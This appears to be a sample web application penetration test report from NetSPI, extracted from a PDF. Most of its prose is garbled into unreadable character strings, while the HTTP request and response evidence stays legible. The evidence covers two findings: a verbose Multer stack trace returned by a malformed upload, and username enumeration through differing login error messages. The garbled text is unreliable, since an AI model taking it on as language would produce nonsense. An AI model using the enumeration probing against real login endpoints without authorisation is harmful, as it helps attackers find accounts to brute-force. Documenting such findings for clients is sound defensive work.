588Q(*,985Q=1>(Q(*,98-.1Q+#H!.!588Q(*,985Q=1>(Q(*,98-.1Q+#H! XXO!,+8!

-:;9$("<);)*+.=$*");8..
V2*!588>-+5,-#(!3*,13(9!=*3M#9*!*33#3!H*995;*9Q!L*3M#9*!*33#3!H*995;*9!H57!+#(,5-(!9*(9-,-=*!
-(G#3H5,-#(!91+2!59!,2*!,78*!5(C!=*39-#(!#G!9#G,K53*!-(!19*!#(!,2*!9*3=*3S!588>-+5,-#(!+#C*S!-(,*3(5>!2#9,!
(5H*9S!#3!9*3=*3!85,29!,25,!92#1>C!(#,!M*!3*,13(*C!,#!,2*!*(C!19*3Q!

?#@"/*.
o(#K-(;!K2*,2*3!+*3,5-(!-(81,9!,3-;;*3!5!9*3=*3!*33#3!+5(!5-C!#3!-(G#3H!5(!5,,5+T*3!#G!8#,*(,-5>!
=1>(*35M->-,-*9Q!0CC-,-#(5>>7S!-(G#3H5,-#(!C-9+>#9*C!-(!C*,5->*C!*33#3!H*995;*9!H57!5>>#K!G13,2*3!5,,5+T9!
5;5-(9,!,2*!,53;*,!*(=-3#(H*(,Q!

A$/0##$97"*)09.
I*9-;(!;*(*3-+!*33#3!25(C>-(;!H*+25(-9H9!,25,!+5(!25(C>*!5(7!19*3!-(81,!,#!,2*!K*M!588>-+5,-#(S!
83#=-C-(;!H*5(-(;G1>!C*,5->!,#!*(C.19*39S!5(C!83*=*(,-(;!*33#3!H*995;*9!,25,!H-;2,!83#=-C*!-(G#3H5,-#(!
19*G1>!,#!5(!5,,5+T*3!G3#H!M*-(;!C-98>57*CQ!I#!(#,!C-98>57!9,5+T!,35+*9!#3!#,2*3!C*,5->*C!*33#39!,#!*(C!
19*39Q!

-$()6)/"*)09.
)0&#%+2=!I!
"*,$J'!-C*(,-G-*C!,25,!M7!9*(C-(;!5,,5+2H*(,9!,23#1;2!,#!,2*!588>-+5,-#(!-(!,2*!8#9,!G1(+,-#(5>-,7S!5!
=*3M#9*!*33#3!H*995;*!K59!3*,13(*C!,25,!C-9+>#9*C!-(G#3H5,-#(!3*>5,-(;!,#!,2*!588>-+5,-#(!9*3=*3Q!V2-9!
-(+>1C*9!-(G#3H5,-#(!91+2!59U!9*3=*3!85,29S!>-M353-*9!-(!19*S!*,+Q!,25,!K#1>C!#,2*3K-9*!M*!-(5++*99-M>*!,#!
*(C.19*39Q!

@Q!V78*!5(7!+#HH*(,!-(,#!,2*!ia25,f9!#(!7#13!H-(CQQQi!M#]S!9*>*+,!5(!5,,5+2H*(,!5(C!+>-+T!J`$VQ!
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!"#$%&&'()*+(,-$."-"+/*+(,-$0"1+!
! ! "#$%!:-!'(!)&!

*+,%!-&.!&/&)!0!"1'213%4#15!6!7',(38%,43#9!!
!

>=?(!S=+'Z!

!

AQ!a2->*!83#]7-(;!,35GG-+!,23#1;2!5(!588>-+5,-#(!91+2!59!6138!$1-,*S!(5=-;5,*!,#!,2*!5GG*+,*C!BE&Q!!

OQ!&#+5,*!,2*!J`$V!3*F1*9,!G#3!,2-9!-(!6138!$1-,*!5(C!#M9*3=*!,2*!=*3M#9*!*33#3!-(!,2*!3*98#(9*Q!

V//>!C&W*&?(U!
POST /posts HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 
Firefox/111.0 
Accept: */* 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: https://jkeane.app.netspa.vuln.netspi-u.com/ 
Authorization: Bearer [REDACTED] 
Content-Type: multipart/form-data; boundary=---------------------------
51794298033559586532039329699 
Content-Length: 606 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-site 
Te: trailers 
Connection: close 
 
 
-----------------------------51794298033559586532039329699 
Content-Disposition: form-data; name="userId" 
 
 
642bfa90ede13d861a7fcd48 
-----------------------------51794298033559586532039329699 
Content-Disposition: form-data; name="description" 
 
 
123 
-----------------------------51794298033559586532039329699 
Content-Disposition: form-data; name="attachment"; filename="netspi.txt" 
Content-Type: text/plain 
 
 
 
-----------------------------51794298033559586532039329699 
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!

Content-Disposition: form-data; name="picturePath" 
 
 
netspi.txt 
-----------------------------51794298033559586532039329699-- 

!
V//>!C&?7=#?&U!
HTTP/1.1 500 Internal Server Error 
Server: nginx 
Date: Tue, 04 Apr 2023 10:53:33 GMT 
Content-Type: text/html; charset=utf-8 
Content-Length: 1071 
Connection: close 
Cross-Origin-Embedder-Policy: require-corp 
Cross-Origin-Opener-Policy: same-origin 
Cross-Origin-Resource-Policy: cross-origin 
X-DNS-Prefetch-Control: off 
X-Frame-Options: SAMEORIGIN 
Strict-Transport-Security: max-age=15552000; includeSubDomains 
X-Download-Options: noopen 
X-Content-Type-Options: nosniff 
Origin-Agent-Cluster: ?1 
X-Permitted-Cross-Domain-Policies: none 
Referrer-Policy: no-referrer 
X-XSS-Protection: 0 
Access-Control-Allow-Origin: * 
Content-Security-Policy: default-src 'none' 
Strict-Transport-Security: max-age=63072000 
Cache-Control: no-cache, no-store, never-cache, never-ever-cache 
 
 
<!DOCTYPE html> 
<html lang="en"> 
<head> 
<meta charset="utf-8"> 
<title>Error</title> 
</head> 
<body> 
<pre>MulterError: Unexpected field<br> &nbsp; &nbsp;at wrappedFileFilter 
(/usr/src/app/node_modules/multer/index.js:40:19)<br> &nbsp; &nbsp;at 
Multipart.&lt;anonymous&gt; (/usr/src/app/node_modules/multer/lib/make-
middleware.js:107:7)<br> &nbsp; &nbsp;at Multipart.emit (node:events:513:28)<br> 
&nbsp; &nbsp;at HeaderParser.cb 
(/usr/src/app/node_modules/busboy/lib/types/multipart.js:358:14)<br> &nbsp; &nbsp;at 
HeaderParser.push (/usr/src/app/node_modules/busboy/lib/types/multipart.js:162:20)<br> 
&nbsp; &nbsp;at SBMH.ssCb [as _cb] 
(/usr/src/app/node_modules/busboy/lib/types/multipart.js:394:37)<br> &nbsp; &nbsp;at 
feed (/usr/src/app/node_modules/streamsearch/lib/sbmh.js:219:14)<br> &nbsp; &nbsp;at 
SBMH.push (/usr/src/app/node_modules/streamsearch/lib/sbmh.js:104:16)<br> &nbsp; 
&nbsp;at Multipart._write 
(/usr/src/app/node_modules/busboy/lib/types/multipart.js:567:19)<br> &nbsp; &nbsp;at 
writeOrBuffer (node:internal/streams/writable:392:12)</pre> 
</body> 
</html> 
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!

!?7*1&J(/D*13,-"(&8&J11"1&9*773:*7&
-:;9$("<);)*+.B9)D:$.?=%.A[Z/PZYZDA.
&$'$()*+%.&#K!
,-&&.-E.>"8$.&/0($%.OQ@!c?L$$UOQ@\0LU"\0?U_\JEU&\B'U"\$UB\?U&\'U"\0U"d.
123&4.FGFH.,"*$50(+%.0X.'(9*+13*!I*9-;(!

366$/*$7.388$*8."97.&$(')/$8.
6))"/! >EC/T)U!
58-Q(*,985Q=1>(Q(*,98-.1Q+#H!.!58-Q(*,985Q=1>(Q(*,98-.1Q+#H! XXO!,+8!

-:;9$("<);)*+.=$*");8..
V2*!588>-+5,-#(!3*,13(9!98*+-G-+!*33#3!H*995;*9!(#,-G7-(;!,2*!*(C!19*3!-G!5!19*3(5H*!-9!=5>-C!#3!(#,!M59*C!
#(!,2*!19*3!-(81,Q!09!5!3*91>,S!5(!5,,5+T*3!H57!M*!5M>*!,#!*(1H*35,*!=5>-C!19*3(5H*9!=-5!M31,*!G#3+*!
5,,5+T9Q!

?#@"/*.
&*=*35;-(;!,2-9!-991*!5(!5,,5+T*3!H57!M*!5M>*!,#!*(1H*35,*!5++#1(,!K2-+2!+#1>C!M*!,53;*,*C!-(!G1,13*!
5,,5+T9Q!

A$/0##$97"*)09.
E*,13(!,2*!95H*!*33#3!H*995;*!G#3!M#,2!-(=5>-C!5(C!=5>-C!19*39!K2*(!5(!-(=5>-C!-(81,!-9!83#=-C*CQ!
N]5H8>*U!&#;-(!K59!1(91++*99G1>Q!

366$/*$7.BAC8.
LCM!
2,,89U\\58-Q(*,985Q=1>(Q(*,98-.1Q+#H\51,2\>#;-(!

-$()6)/"*)09.
)0&#%+2=!I!
"*,$J'!-C*(,-G-*C!,25,!K2*(!5,,*H8,-(;!,#!51,2*(,-+5,*!,#!,2*!588>-+5,-#(S!-,!K->>!9*3=*!5!3*98#(9*!
-(C-+5,-(;!K2*,2*3!#3!(#,!,2*!9188>-*C!*H5->!5CC3*99!M*>#(;9!,#!5!=5>-C!5++#1(,!#(!,2*!588>-+5,-#(Q!V2-9!
-(G#3H5,-#(!+5(!M*!>*=*35;*C!-(!M31,*.G#3+*!9,7>*!5,,5+T9!,#!*(1H*35,*!5!>-9,!#G!*H5->!5CC3*99*9!,25,!+5(!
M*!599#+-5,*C!K-,2!=5>-C!5++#1(,9!#(!,2*!588>-+5,-#(Q!

@Q!a2->*!83#]7-(;!,35GG-+!,23#1;2!5(!588>-+5,-#(!91+2!59!6138!$1-,*S!(5=-;5,*!,#!,2*!>5(C-(;!85;*!#G!,2*!
588>-+5,-#(Q!!

AQ!01,2*(,-+5,*!,#!,2*!588>-+5,-#(!5(C!>#+5,*!,2*!3*F1*9,!599#+-5,*C!K-,2!,2*!51,2*(,-+5,-#(!5,,*H8,Q!

V//>!C&W*&?(U!
POST /auth/login HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
User-Agent: Mozilla/5.0 (Linux; Android 11; Z832 Build/MMB29M) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/87.0.4280.88 Mobile Safari/537.36 
Accept: */* 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: https://example.app.netspa.vuln.netspi-u.com/ 
Content-Type: application/json 
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Content-Length: 45 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-site 
Te: trailers 
Connection: close 
 
 
{ 
  "email": "test@netspi.com", 
  "password": "[REDACTED]" 
} 

!
V//>!C&?7=#?&U!
HTTP/1.1 200 OK 
Server: nginx 
Date: Tue, 11 Jul 2023 13:37:30 GMT 
Content-Type: application/json; charset=utf-8 
Content-Length: 7736 
Connection: close 
Cross-Origin-Embedder-Policy: require-corp 
Cross-Origin-Opener-Policy: same-origin 
Cross-Origin-Resource-Policy: cross-origin 
X-DNS-Prefetch-Control: off 
X-Frame-Options: SAMEORIGIN 
Strict-Transport-Security: max-age=15552000; includeSubDomains 
X-Download-Options: noopen 
X-Content-Type-Options: nosniff 
Origin-Agent-Cluster: ?1 
X-Permitted-Cross-Domain-Policies: none 
Referrer-Policy: no-referrer 
X-XSS-Protection: 0 
Access-Control-Allow-Origin: * 
ETag: W/"1e38-b05eRmddjrgW0WyQZD/kl1s4sPA" 
Cache-Control: no-cache, no-store, never-cache, never-ever-cache 
 
 
{ 
  "token": 
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY0YTJiY2Q5NTVlMTlmYzNkYTRhODk1MCIsImlh
dCI6MTY4OTA4MjY1MH0.8pQ2vNRNTG6TvWBErdD3SN9WtyVikI5geEnRVrkAAKA", 
  "user": { 
    "_id": "64a2bcd955e19fc3da4a8950", 
    "firstName": "NetSPI", 
    "lastName": "Test", 
    "email": "test@netspi.com" 
  } 
[TRUNCATED] 
} 

OQ!E*9*(C!,2*!51,2*(,-+5,-#(!5,,*H8,!3*F1*9,!M1,!H#C-G7!,2*!8599K#3C!=5>1*!,#!+#(,5-(!5(!-(+#33*+,!
8599K#3C!5(C!H5T*!(#,*!#G!,2*!*33#3!H*995;*!G3#H!,2*!588>-+5,-#(Q!

E+2$2#%3!V//>!C&W*&?(U!
POST /auth/login HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
User-Agent: Mozilla/5.0 (Linux; Android 11; Z832 Build/MMB29M) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/87.0.4280.88 Mobile Safari/537.36 

NetSPI Sample

NetSPI Sample

NetSPI Sample

NetSPI Sample

NetSPI Sample

NetSPI Sample



!

!

!"#$%&&'()*+(,-$."-"+/*+(,-$0"1+!
! ! "#$%!:;!'(!)&!

*+,%!-&.!&/&)!0!"1'213%4#15!6!7',(38%,43#9!!
!

Accept: */* 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: https://example.app.netspa.vuln.netspi-u.com/ 
Content-Type: application/json 
Content-Length: 45 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-site 
Te: trailers 
Connection: close 
 
 
{ 
  "email": "test@netspi.com", 
  "password": "[REDACTED]" 
} 

!
@=82[2&8!V//>!C&W*&?(U!
POST /auth/login HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
User-Agent: Mozilla/5.0 (Linux; Android 11; Z832 Build/MMB29M) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/87.0.4280.88 Mobile Safari/537.36 
Accept: */* 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: https://example.app.netspa.vuln.netspi-u.com/ 
Content-Type: application/json 
Content-Length: 45 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-site 
Te: trailers 
Connection: close 
 
 
{ 
  "email": "test@netspi.com", 
  "password": "WrongPassword" 
} 

!
V//>!C&?7=#?&U!
HTTP/1.1 400 Bad Request 
Server: nginx 
Date: Tue, 11 Jul 2023 13:42:27 GMT 
Content-Type: application/json; charset=utf-8 
Content-Length: 59 
Connection: close 
Cross-Origin-Embedder-Policy: require-corp 
Cross-Origin-Opener-Policy: same-origin 
Cross-Origin-Resource-Policy: cross-origin 
X-DNS-Prefetch-Control: off 
X-Frame-Options: SAMEORIGIN 
Strict-Transport-Security: max-age=15552000; includeSubDomains 
X-Download-Options: noopen 
X-Content-Type-Options: nosniff 
Origin-Agent-Cluster: ?1 
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X-Permitted-Cross-Domain-Policies: none 
Referrer-Policy: no-referrer 
X-XSS-Protection: 0 
Access-Control-Allow-Origin: * 
ETag: W/"3b-kBDvC4rKjwKZVToCuNA6DxO5cjo" 
Cache-Control: no-cache, no-store, never-cache, never-ever-cache 
 
 
{ 
  "operationResult": "Invalid password for test@netspi.com." 
} 

XQ!E*9*(C!,2*!51,2*(,-+5,-#(!5,,*H8,!3*F1*9,!5;5-(!M1,!+25(;*!,2*!*H5->!G-*>CQ!`M9*3=*!,2*!588>-+5,-#(!
5>9#!C-9+>#9*9!K2*,2*3!#3!(#,!,2*!9188>-*C!*H5->!5CC3*99!-9!599#+-5,*C!K-,2!5!=5>-C!5++#1(,!M7!H#C-G7-(;!
,2-9!G-*>C!59!K*>>Q!

E+2$2#%3!V//>!C&W*&?(U!
POST /auth/login HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
User-Agent: Mozilla/5.0 (Linux; Android 11; Z832 Build/MMB29M) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/87.0.4280.88 Mobile Safari/537.36 
Accept: */* 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: https://example.app.netspa.vuln.netspi-u.com/ 
Content-Type: application/json 
Content-Length: 45 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-site 
Te: trailers 
Connection: close 
 
 
{ 
  "email": "test@netspi.com", 
  "password": "[REDACTED]" 
} 

!
@=82[2&8!V//>!C&W*&?(U!
POST /auth/login HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
User-Agent: Mozilla/5.0 (Linux; Android 11; Z832 Build/MMB29M) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/87.0.4280.88 Mobile Safari/537.36 
Accept: */* 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: https://example.app.netspa.vuln.netspi-u.com/ 
Content-Type: application/json 
Content-Length: 45 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-site 
Te: trailers 
Connection: close 
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{ 
  "email": "ArbitraryEmail@NetSPI.com", 
  "password": "WrongPassword" 
} 

!
V//>!C&?7=#?&U!
HTTP/1.1 400 Bad Request 
Server: nginx 
Date: Tue, 11 Jul 2023 13:42:27 GMT 
Content-Type: application/json; charset=utf-8 
Content-Length: 59 
Connection: close 
Cross-Origin-Embedder-Policy: require-corp 
Cross-Origin-Opener-Policy: same-origin 
Cross-Origin-Resource-Policy: cross-origin 
X-DNS-Prefetch-Control: off 
X-Frame-Options: SAMEORIGIN 
Strict-Transport-Security: max-age=15552000; includeSubDomains 
X-Download-Options: noopen 
X-Content-Type-Options: nosniff 
Origin-Agent-Cluster: ?1 
X-Permitted-Cross-Domain-Policies: none 
Referrer-Policy: no-referrer 
X-XSS-Protection: 0 
Access-Control-Allow-Origin: * 
ETag: W/"3b-kBDvC4rKjwKZVToCuNA6DxO5cjo" 
Cache-Control: no-cache, no-store, never-cache, never-ever-cache 
 
 
{ 
  "operationResult": "User does not exist." 
} 

!
!

!
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677%#839'6':';%<'677431*$3"#'=%#%$.*$3"#'0%&$'>%$2"8"4")/'
V2*!G#>>#K-(;!9*+,-#(9!83#=-C*!5(!#=*3=-*K!#G!,2*!a*M!088>-+5,-#(!J*(*,35,-#(!V*9,Q!

?960(#"*)09.I"*J$()95.
I13-(;!*5+2!a*M!088>-+5,-#(!J*(*,35,-#(!V*9,S!"*,$J'!G-39,!K#3T9!K-,2!0?:N!'(+Q!,#!C*G-(*!*(;5;*H*(,!
3*F1-3*H*(,9!5(C!;#5>9S!-C*(,-G7!53*59!#G!3-9T!5(C!+#(+*3(S!5(C!;5,2*3!,2*!-(G#3H5,-#(!(*+*99537!,#!
599*99!,2*!588>-+5,-#(Q!0(!588>-+5,-#(!K5>T,23#1;2!-9!8*3G#3H*C!K-,2!0?:N!'(+Q!,#!2*>8!"*,$J'!M*,,*3!
1(C*39,5(C!,2*!588>-+5,-#(R9!53+2-,*+,13*!5(C!M19-(*99!>#;-+!3*F1-3*H*(,9S!59!K*>>!59!,#!5>-;(!
*]8*+,5,-#(9!-(!,*3H9!#G!,2*!,*9,-(;!5883#5+2Q!V2-9!-(G#3H5,-#(!-9!19*C!M7!,2*!83-H537!+#(91>,5(,!5(C!
9188#3,-(;!,*5H!H*HM*39!,#!C*=*>#8!5!,*9,!8>5(Q!V2-9!,*9,!8>5(!-9!19*C!59!5!M59-9!G#3!599*99-(;!,2*!
588>-+5,-#(!5(C!9*3=*9!59!5!F15>-,7!599135(+*!H*5913*Q!

K$8*)95."97.L'";:"*)09.
"*,$J'!599*99*9!0?:N!'(+QR9!K*M!588>-+5,-#(!G#3!T(#K(!9*+13-,7!=1>(*35M->-,-*9!G3#H!,2*!8*398*+,-=*9!#G!
5(#(7H#19!5(C!51,2*(,-+5,*C!19*39Q!'G!H1>,-8>*!19*3!,78*9!*]-9,S!,*9,-(;!-9!8*3G#3H*C!G#3!*5+2!,78*Q!
I13-(;!,2*!599*99H*(,S!H5(15>!5(C!51,#H5,*C!83#+*99*9!53*!G#>>#K*C!,25,!>*=*35;*!+#HH*3+-5>S!#8*(!
9#13+*S!5(C!83#83-*,537!9#G,K53*Q!0>>!51,#H5,*C!,*9,!3*91>,9!53*!H5(15>>7!=*3-G-*C!,#!3*C1+*!G5>9*!
8#9-,-=*9Q!"*,$J'!5>9#!+#(C1+,9!H5(15>!,*9,-(;!,#!-C*(,-G7!C5,5!G>#KS!M19-(*99!>#;-+S!5(C!5++*99!+#(,3#>!
-991*9Q!V2*!599*99H*(,!-(+>1C*9!,*9,-(;!G#3!`a0$J!V#8!@P!APA@!K*M!588>-+5,-#(!=1>(*35M->-,-*9Q!

Q6/"RECP! 4")QCJ>/JEN!

0@.63#T*(!0++*99!
?#(,3#>!

0++*99!+#(,3#>!*(G#3+*9!8#>-+7!91+2!,25,!19*39!+5((#,!5+,!#1,9-C*!#G!,2*-3!-(,*(C*C!
8*3H-99-#(9Q!<5->13*9!,78-+5>>7!>*5C!,#!1(51,2#3-4*C!-(G#3H5,-#(!C-9+>#913*S!
H#C-G-+5,-#(S!#3!C*9,31+,-#(!#G!5>>!C5,5!#3!8*3G#3H-(;!5!M19-(*99!G1(+,-#(!#1,9-C*!
,2*!19*3f9!>-H-,9Q!

0A.?378,#;3582-+!
<5->13*9!

:5(7!K*M!588>-+5,-#(9!5(C!0J'9!C#!(#,!83#8*3>7!83#,*+,!9*(9-,-=*!C5,5S!91+2!59!
G-(5(+-5>S!2*5>,2+53*S!5(C!J''Q!0,,5+T*39!H57!9,*5>!#3!H#C-G7!91+2!K*5T>7!83#,*+,*C!
C5,5!,#!+#(C1+,!+3*C-,!+53C!G351CS!-C*(,-,7!,2*G,S!#3!#,2*3!+3-H*9Q!$*(9-,-=*!C5,5!H57!
M*!+#H83#H-9*C!K-,2#1,!*],35!83#,*+,-#(S!91+2!59!*(+378,-#(!5,!3*9,!#3!-(!,35(9-,S!
5(C!3*F1-3*9!98*+-5>!83*+51,-#(9!K2*(!*]+25(;*C!K-,2!,2*!M3#K9*3Q!

0O.'()*+,-#(!

'()*+,-#(!G>5K9S!91+2!59!$%&S!"#$%&S!`$S!5(C!&I0J!-()*+,-#(S!#++13!K2*(!
1(,319,*C!C5,5!-9!9*(,!,#!5(!-(,*383*,*3!59!853,!#G!5!+#HH5(C!#3!F1*37Q!V2*!
5,,5+T*3R9!2#9,->*!C5,5!+5(!,3-+T!,2*!-(,*383*,*3!-(,#!*]*+1,-(;!1(-(,*(C*C!
+#HH5(C9!#3!5++*99-(;!C5,5!K-,2#1,!83#8*3!51,2#3-45,-#(Q!

0X.'(9*+13*!
I*9-;(!

'(9*+13*!C*9-;(!-9!5!M3#5C!+5,*;#37!3*83*9*(,-(;!C-GG*3*(,!K*5T(*99*9S!*]83*99*C!
59!pH-99-(;!#3!-(*GG*+,-=*!+#(,3#>!C*9-;(Qq!V2*3*!-9!5!C-GG*3*(+*!M*,K**(!-(9*+13*!
C*9-;(!5(C!-(9*+13*!-H8>*H*(,5,-#(j!C*9-;(!G>5K9!5(C!-H8>*H*(,5,-#(!C*G*+,9!
25=*!C-GG*3*(,!3##,!+519*9!5(C!3*H*C-5,-#(Q!0!9*+13*!C*9-;(!+5(!9,->>!25=*!
-H8>*H*(,5,-#(!C*G*+,9!>*5C-(;!,#!=1>(*35M->-,-*9!,25,!H57!M*!*]8>#-,*CQ!0(!
-(9*+13*!C*9-;(!+5((#,!M*!G-]*C!M7!5!8*3G*+,!-H8>*H*(,5,-#(!59!M7!C*G-(-,-#(S!
(**C*C!9*+13-,7!+#(,3#>9!K*3*!(*=*3!+3*5,*C!,#!C*G*(C!5;5-(9,!98*+-G-+!5,,5+T9Q!
`(*!#G!,2*!G5+,#39!,25,!+#(,3-M1,*!,#!-(9*+13*!C*9-;(!-9!,2*!>5+T!#G!M19-(*99!3-9T!
83#G->-(;!-(2*3*(,!-(!,2*!9#G,K53*!#3!979,*H!M*-(;!C*=*>#8*CS!5(C!,219!,2*!G5->13*!,#!
C*,*3H-(*!K25,!>*=*>!#G!9*+13-,7!C*9-;(!-9!3*F1-3*CQ!

0D.$*+13-,7!
:-9+#(G-;135,-#(!

$*+13-,7!H-9+#(G-;135,-#(!-9!,2*!H#9,!9**(!-991*Q!V2-9!-9!+#HH#(>7!5!3*91>,!#G!
-(9*+13*!C*G51>,!+#(G-;135,-#(9S!-(+#H8>*,*!#3!5C!2#+!+#(G-;135,-#(9S!#8*(!+>#1C!
9,#35;*S!H-9+#(G-;13*C!_VVJ!2*5C*39S!5(C!=*3M#9*!*33#3!H*995;*9!+#(,5-(-(;!
9*(9-,-=*!-(G#3H5,-#(Q!"#,!#(>7!H19,!5>>!#8*35,-(;!979,*H9S!G35H*K#3T9S!>-M353-*9S!
5(C!588>-+5,-#(9!M*!9*+13*>7!+#(G-;13*CS!M1,!,2*7!H19,!M*!85,+2*C!5(C!18;35C*C!
-(!5!,-H*>7!G592-#(Q!
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Q6/"RECP! 4")QCJ>/JEN!

0Z.L1>(*35M>*!5(C!
`1,C5,*C!
?#H8#(*(,9!

?#H8#(*(,9S!91+2!59!>-M353-*9S!G35H*K#3T9S!5(C!#,2*3!9#G,K53*!H#C1>*9S!31(!K-,2!
,2*!95H*!83-=->*;*9!59!,2*!588>-+5,-#(Q!'G!5!=1>(*35M>*!+#H8#(*(,!-9!*]8>#-,*CS!
91+2!5(!5,,5+T!+5(!G5+->-,5,*!9*3-#19!C5,5!>#99!#3!9*3=*3!,5T*#=*3Q!088>-+5,-#(9!5(C!
0J'9!19-(;!+#H8#(*(,9!K-,2!T(#K(!=1>(*35M->-,-*9!H57!1(C*3H-(*!588>-+5,-#(!
C*G*(9*9!5(C!*(5M>*!=53-#19!5,,5+T9!5(C!-H85+,9Q!

0/.'C*(,-G-+5,-#(!
5(C!01,2*(,-+5,-#(!
<5->13*9!

088>-+5,-#(!G1(+,-#(9!3*>5,*C!,#!51,2*(,-+5,-#(!5(C!9*99-#(!H5(5;*H*(,!53*!#G,*(!
-H8>*H*(,*C!-(+#33*+,>7S!5>>#K-(;!5,,5+T*39!,#!+#H83#H-9*!8599K#3C9S!T*79S!#3!
9*99-#(!,#T*(9S!#3!,#!*]8>#-,!#,2*3!-H8>*H*(,5,-#(!G>5K9!,#!5991H*!#,2*3!19*39R!
-C*(,-,-*9!,*H8#353->7!#3!8*3H5(*(,>7Q!

0[.$#G,K53*!5(C!
I5,5!'(,*;3-,7!
<5->13*9!

$#G,K53*!5(C!C5,5!-(,*;3-,7!G5->13*9!3*>5,*!,#!+#C*!5(C!-(G359,31+,13*!,25,!C#*9!(#,!
83#,*+,!5;5-(9,!-(,*;3-,7!=-#>5,-#(9Q!0(!*]5H8>*!#G!,2-9!-9!K2*3*!5(!588>-+5,-#(!
3*>-*9!18#(!8>1;-(9S!>-M353-*9S!#3!H#C1>*9!G3#H!1(,319,*C!9#13+*9S!3*8#9-,#3-*9S!5(C!
+#(,*(,!C*>-=*37!(*,K#3T9!c?I"9dQ!0(!-(9*+13*!?'\?I!8-8*>-(*!+5(!-(,3#C1+*!,2*!
8#,*(,-5>!G#3!1(51,2#3-4*C!5++*99S!H5>-+-#19!+#C*S!#3!979,*H!+#H83#H-9*Q!

0Y.$*+13-,7!
&#;;-(;!5(C!
:#(-,#3-(;!
<5->13*9!

'(91GG-+-*(,!>#;;-(;!5(C!H#(-,#3-(;S!+#18>*C!K-,2!H-99-(;!#3!-(*GG*+,-=*!-(,*;35,-#(!
K-,2!-(+-C*(,!3*98#(9*S!5>>#K9!5,,5+T*39!,#!G13,2*3!5,,5+T!979,*H9S!H5-(,5-(!
8*39-9,*(+*S!8-=#,!,#!H#3*!979,*H9S!5(C!,5H8*3S!*],35+,S!#3!C*9,3#7!C5,5Q!:#9,!
M3*5+2!9,1C-*9!92#K!,-H*!,#!C*,*+,!5!M3*5+2!-9!#=*3!APP!C579S!,78-+5>>7!C*,*+,*C!
M7!*],*3(5>!853,-*9!35,2*3!,25(!-(,*3(5>!83#+*99*9!#3!H#(-,#3-(;Q!

0@P.$*3=*3.$-C*!
E*F1*9,!<#3;*37!
c$$E<d!

'(!5!$*3=*3.$-C*!E*F1*9,!<#3;*37!c$$E<d!5,,5+TS!,2*!5,,5+T*3!+5(!5M19*!
G1(+,-#(5>-,7!#(!,2*!9*3=*3!,#!3*5C!#3!18C5,*!-(,*3(5>!3*9#13+*9Q!V2*!5,,5+T*3!+5(!
9188>7!#3!H#C-G7!5!BE&!K2-+2!,2*!+#C*!31((-(;!#(!,2*!9*3=*3!K->>!3*5C!#3!91MH-,!
C5,5!,#S!5(C!M7!+53*G1>>7!9*>*+,-(;!,2*!BE&9S!,2*!5,,5+T*3!H57!M*!5M>*!,#!3*5C!
9*3=*3!+#(G-;135,-#(!91+2!59!0a$!H*,5C5,5S!+#((*+,!,#!-(,*3(5>!9*3=-+*9!>-T*!2,,8!
*(5M>*C!C5,5M59*9!#3!8*3G#3H!8#9,!3*F1*9,9!,#K53C9!-(,*3(5>!9*3=-+*9!K2-+2!53*!
(#,!-(,*(C*C!,#!M*!*]8#9*CQ!

="*".39";+8)8.
0>>!#G!,2*!C5,5!+#>>*+,*C!-9!+#(9#>-C5,*C!5(C!5(5>74*C!19-(;!,2*!"*,$J'!J>5,G#3HrQ!0CC-,-#(5>!3*9*53+2!-9!
+#(C1+,*C!,#!-C*(,-G7!T(#K(!=1>(*35M->-,-*9!G#3!-(C-=-C15>!588>-+5,-#(!+#H8#(*(,9Q!0G,*3!-C*(,-G7-(;S!
5(5>74-(;S!5(C!83-#3-,-4-(;!=1>(*35M->-,-*9S!"*,$J'!G#3H1>5,*9!3*+#HH*(C5,-#(9!G#3!H-,-;5,-(;!*5+2!#G!
,2*9*!9*+13-,7!-991*9Q!I13-(;!,2-9!8259*S!9188#3,-(;!,*5H!H*HM*39!K5>T!,23#1;2!,2*!,*9,!8>5(!K-,2!,2*!
83-H537!+#(91>,5(,!,#!*(913*!,2*!-(,*;3-,7!#G!,2*!3*91>,9Q!0!3*8#3,!+#(,5-(-(;!G-(C-(;9!5(C!
3*+#HH*(C5,-#(9!-9!,2*(!;*(*35,*C!M7!,2*!83-H537!+#(91>,5(,!5(C!8>5+*C!,23#1;2!M#,2!,*+2(-+5>!5(C!
